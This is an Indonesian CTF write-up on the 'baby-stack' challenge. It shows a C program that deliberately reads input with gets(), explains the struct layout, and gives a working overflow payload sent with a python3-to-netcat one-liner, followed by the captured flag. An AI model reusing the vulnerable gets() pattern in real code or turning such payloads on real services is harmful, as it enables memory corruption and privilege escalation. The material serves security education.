baby-stack
🏁 Kesimpulan Challenge ini menunjukkan: Bahaya penggunaan gets() Konsep dasar stack buffer overflow Manipulasi non-control data Dengan overflow sederhana, kita bisa: Mengubah variabel penting dan mendapatkan akses admin.
🧨 Write-Up: Baby Stack Overflow
(3/4 slop)
📌 Deskripsi Challenge
Diberikan sebuah program C sederhana:
#include <stdio.h>
struct user {
char username[16];
int is_admin;
};
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
struct user u;
u.is_admin = 0;
printf("Masukkan username: ");
gets(u.username);
if (u.is_admin == 1) {
puts("Selamat! Kamu admin.");
puts("Flag: FGTE{REDECTED}");
} else {
puts("Akses ditolak. Kamu bukan admin.");
}
}
🔍 Analisis Kerentanan
Program menggunakan fungsi:
gets(u.username);
Fungsi gets():
❌ Tidak membatasi panjang input
❌ Rentan terhadap buffer overflow
❌ Sudah deprecated
🧠 Struktur Memory
Struct:
struct user {
char username[16];
int is_admin;
};
Layout di stack:
[ username (16 bytes) ][ is_admin (4 bytes) ]
Total ukuran:
16 + 4 = 20 byte
🎯 Tujuan Eksploitasi
Program akan memberikan flag jika:
u.is_admin == 1
Jadi target kita adalah:
Mengubah nilai
is_admindari 0 → 1
📏 Menentukan Offset
Karena:
username= 16 byte
Maka untuk mencapai is_admin:
offset = 16 byte
💣 Payload
Nilai integer 1 dalam little endian:
0x00000001 → \x01\x00\x00\x00
Payload:
"A"*16 + "\x01\x00\x00\x00"
Atau cukup:
"A"*16 + "\x01"
Karena hanya byte pertama sudah cukup mengubah nilai.
⚠️ Kenapa Tidak Bisa Input Manual?
Jika mengetik:
AAAAAAAAAAAAAAAA\x01
Yang dikirim adalah string literal:
\ x 0 1
Bukan byte 0x01.
Terminal tidak menginterpretasi escape sequence.
🚀 Eksploitasi
Menggunakan Python
python3 -c 'print("A"*16 + "\x01\x00\x00\x00")' | nc s1.ariaf.my.id 9001
Output
Masukkan username: AAAAAAAAAAAAAAAA^A^@^@^@
Selamat! Kamu admin.
Flag: FGTE{B4bY_sT4ck_0verflow_1s_V3ry_D4ng3r0us!}
🔬 Alternatif Payload
Payload minimal:
python3 -c 'print("A"*16 + "\x01")' | nc s1.ariaf.my.id 9001
Tetap berhasil karena:
00 00 00 00 → 01 00 00 00
🧠 Insight Penting
1. Little Endian
Byte paling kecil disimpan di depan:
01 00 00 00
2. Non-Control Data Attack
Exploit ini:
❌ Tidak overwrite return address
❌ Tidak pakai shellcode
✅ Hanya ubah variable
3. Perbedaan Input
MetodeHasilManual❌ GagalPython / script✅ Berhasil
Flag
FGTE{B4bY_sT4ck_0verflow_1s_V3ry_D4ng3r0us!}